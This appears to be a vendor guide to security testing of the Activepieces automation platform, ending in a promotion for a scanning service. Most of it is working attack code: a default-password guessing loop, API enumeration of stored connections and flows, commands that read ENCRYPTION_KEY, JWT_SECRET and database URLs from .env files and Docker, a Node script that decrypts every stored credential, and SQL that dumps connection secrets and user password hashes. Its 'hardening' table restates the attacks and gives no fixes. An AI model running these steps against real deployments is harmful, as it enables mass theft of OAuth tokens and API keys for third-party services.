Activepieces Security Testing: Default Credentials, API Key, Database, and .env ENCRYPTION_KEY

Activepieces is a widely deployed open-source workflow automation platform (Zapier/Make alternative) built on Node.js/Angular, used to connect and automate third-party services — it stores OAuth tokens, API keys, and service credentials for every connected integration (Slack, Gmail, Stripe, Salesforce, HubSpot, GitHub, and hundreds more). The most critical security finding: ENCRYPTION_KEY is used to encrypt all connected service credentials in the database — obtaining this key allows decrypting every stored token and API key for all connected services simultaneously. Key assessment areas also include JWT_SECRET for token forgery; the REST API for connection and flow enumeration; and AP_DB_URL for PostgreSQL access. This guide covers systematic Activepieces security assessment.

Table of Contents

  1. Authentication and API Key Testing
  2. API Connection and Flow Enumeration
  3. ENCRYPTION_KEY and Database Credential Extraction
  4. Activepieces Security Hardening

Authentication and API Key Testing

# Activepieces — authentication and API key testing
ACTIVEPIECES_URL="https://activepieces.example.com"

# Activepieces login — email/password
AUTH=$(curl -s -X POST "${ACTIVEPIECES_URL}/api/v1/authentication/sign-in" \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@example.com","password":"admin"}' 2>/dev/null)
TOKEN=$(echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
t = d.get('token','')
print(t[:60] if t else 'FAIL: '+str(list(d.keys())))
" 2>/dev/null)
echo "Token: ${TOKEN}"

# Try common passwords
for PASS in "admin" "activepieces" "password" "changeme" "admin123"; do
  STATUS=$(curl -s -X POST "${ACTIVEPIECES_URL}/api/v1/authentication/sign-in" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"admin@example.com\",\"password\":\"${PASS}\"}" 2>/dev/null | \
    python3 -c "import json,sys; d=json.load(sys.stdin); print('OK' if d.get('token') else 'FAIL')" 2>/dev/null)
  echo "admin/${PASS}: ${STATUS}"
done

# Get current user with API token
API_TOKEN="your-activepieces-api-token"
curl -s "${ACTIVEPIECES_URL}/api/v1/users/me" \
  -H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'User: {d.get(\"firstName\")} {d.get(\"lastName\")} ({d.get(\"email\")}) platform_admin={d.get(\"platformAdmin\")}')
" 2>/dev/null

API Connection and Flow Enumeration

# Activepieces API — connection and flow enumeration
ACTIVEPIECES_URL="https://activepieces.example.com"
API_TOKEN="your-activepieces-api-token"
PROJECT_ID="your-project-id"

# List all connections — these contain encrypted credentials for every connected service
curl -s "${ACTIVEPIECES_URL}/api/v1/app-connections?projectId=${PROJECT_ID}&limit=50" \
  -H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
connections = d.get('data',[])
total = d.get('cursor','')
print(f'Connections: {len(connections)}')
for c in connections[:20]:
    print(f'  [{c.get(\"id\")}] {c.get(\"name\")} app={c.get(\"pieceName\")} type={c.get(\"type\")} status={c.get(\"status\")}')
    # Each connection stores encrypted OAuth tokens or API keys for that service
" 2>/dev/null

# List all automation flows — reveals what services are connected and how
curl -s "${ACTIVEPIECES_URL}/api/v1/flows?projectId=${PROJECT_ID}&limit=50" \
  -H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
flows = d.get('data',[])
print(f'Flows: {len(flows)}')
for f in flows[:10]:
    print(f'  [{f.get(\"id\")}] {f.get(\"name\")} status={f.get(\"status\")} trigger={f.get(\"version\",{}).get(\"trigger\",{}).get(\"type\",\"\")}')
" 2>/dev/null

# List all projects (platform admin view)
curl -s "${ACTIVEPIECES_URL}/api/v1/projects?limit=50" \
  -H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
projects = d.get('data',[])
print(f'Projects: {len(projects)}')
for p in projects[:10]:
    print(f'  [{p.get(\"id\")}] {p.get(\"displayName\")} plan={p.get(\"plan\",{}).get(\"name\",\"\")}')
" 2>/dev/null

# Get flow run logs — may reveal sensitive data from automation outputs
FLOW_ID="your-flow-id"
curl -s "${ACTIVEPIECES_URL}/api/v1/flow-runs?projectId=${PROJECT_ID}&flowId=${FLOW_ID}&limit=10" \
  -H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
runs = d.get('data',[])
print(f'Flow runs: {len(runs)}')
for r in runs[:5]:
    print(f'  [{r.get(\"id\")}] status={r.get(\"status\")} start={str(r.get(\"startTime\",\"\"))[:19]}')
" 2>/dev/null

ENCRYPTION_KEY and Database Credential Extraction

# Activepieces ENCRYPTION_KEY and database credential extraction

# .env file — Activepieces configuration
cat /app/.env 2>/dev/null | grep -E "ENCRYPTION_KEY|AP_DB_URL|JWT_SECRET|AP_REDIS|SMTP|S3_"
# ENCRYPTION_KEY — AES key for all stored connection credentials
# AP_DB_URL / AP_DATABASE_URL — PostgreSQL connection string
# JWT_SECRET — JWT token signing key
# AP_REDIS_URL — Redis connection

# Docker environment variables
docker inspect activepieces 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['ENCRYPTION','AP_DB','JWT_SECRET','REDIS','SMTP','PASSWORD','SECRET']):
            print(e)
" 2>/dev/null

# ENCRYPTION_KEY decryption — mass credential harvest
# All connections stored with AES-256 encryption using ENCRYPTION_KEY
# Decrypting gives OAuth tokens/API keys for every connected service
node -e "
const crypto = require('crypto');
const ENCRYPTION_KEY = process.env.ENCRYPTION_KEY;  // 32-byte hex key
// Activepieces uses AES-256-CBC with IV prepended to ciphertext
function decrypt(encryptedHex) {
  const buf = Buffer.from(encryptedHex, 'hex');
  const iv = buf.slice(0, 16);
  const ciphertext = buf.slice(16);
  const decipher = crypto.createDecipheriv('aes-256-cbc',
    Buffer.from(ENCRYPTION_KEY,'hex'), iv);
  return Buffer.concat([decipher.update(ciphertext), decipher.final()]).toString();
}
// Apply to encrypted_value from database query below
console.log(decrypt('ENCRYPTED_VALUE_FROM_DB'));
" 2>/dev/null

# PostgreSQL — all connection values (encrypted)
AP_DB_URL="postgresql://activepieces:PASSWORD@localhost/activepieces"
psql "$AP_DB_URL" 2>/dev/null << 'EOF'
-- All stored service connections with encrypted values
SELECT ac.id, ac."name", ac."pieceName", ac.type,
       ac."status", ac."value" as encrypted_value
FROM app_connection ac
ORDER BY ac."pieceName", ac."name"
LIMIT 50;
EOF
-- ac.value is encrypted JSON containing:
-- OAuth: access_token, refresh_token, expires_in
-- API Key: key, secret
-- Basic Auth: username, password

# User table — all platform users
psql "$AP_DB_URL" 2>/dev/null << 'EOF'
SELECT u.id, u."firstName", u."lastName", u.email,
       u.password, u."platformRole", u."created"
FROM "user" u
ORDER BY u."platformRole", u."created" DESC
LIMIT 20;
EOF

Activepieces Security Hardening

Activepieces Security Hardening Checklist:
Security TestMethodRisk
ENCRYPTION_KEY extraction and mass credential decryptionRead .env ENCRYPTION_KEY — AES-256 key; decrypt all app_connection.value entries in PostgreSQL; complete harvest of every OAuth token, API key, and password stored for all connected services (Slack, Gmail, Stripe, Salesforce, GitHub, etc.)Critical
JWT_SECRET extraction and token forgeryRead .env JWT_SECRET — JWT signing key; forge valid authentication tokens as any Activepieces platform user or admin bypassing password authenticationCritical
API connection enumeration and credential mappingGET /api/v1/app-connections — all stored connections with service names; maps which services have credentials stored; combined with ENCRYPTION_KEY provides complete credential harvestHigh
PostgreSQL direct access and encrypted credential extractionSELECT value FROM app_connection — all encrypted credential blobs; decryptable with ENCRYPTION_KEY; bypasses API-level access controlsCritical
Flow run log sensitive data exposureGET /api/v1/flow-runs — automation execution logs may contain OAuth callback data, webhook payloads with auth tokens, and API responses with sensitive customer data depending on flow configurationHigh

Automate Activepieces Security Testing

Ironimo tests Activepieces deployments for ENCRYPTION_KEY extraction and mass connected service credential decryption, JWT_SECRET extraction and token forgery, API connection enumeration and service credential mapping, PostgreSQL encrypted credential blob extraction, flow run log sensitive data exposure, Docker environment variable exposure, user account password hash extraction, platform admin privilege testing, connection OAuth scope over-privilege assessment, and flow trigger webhook security testing.

Start free scan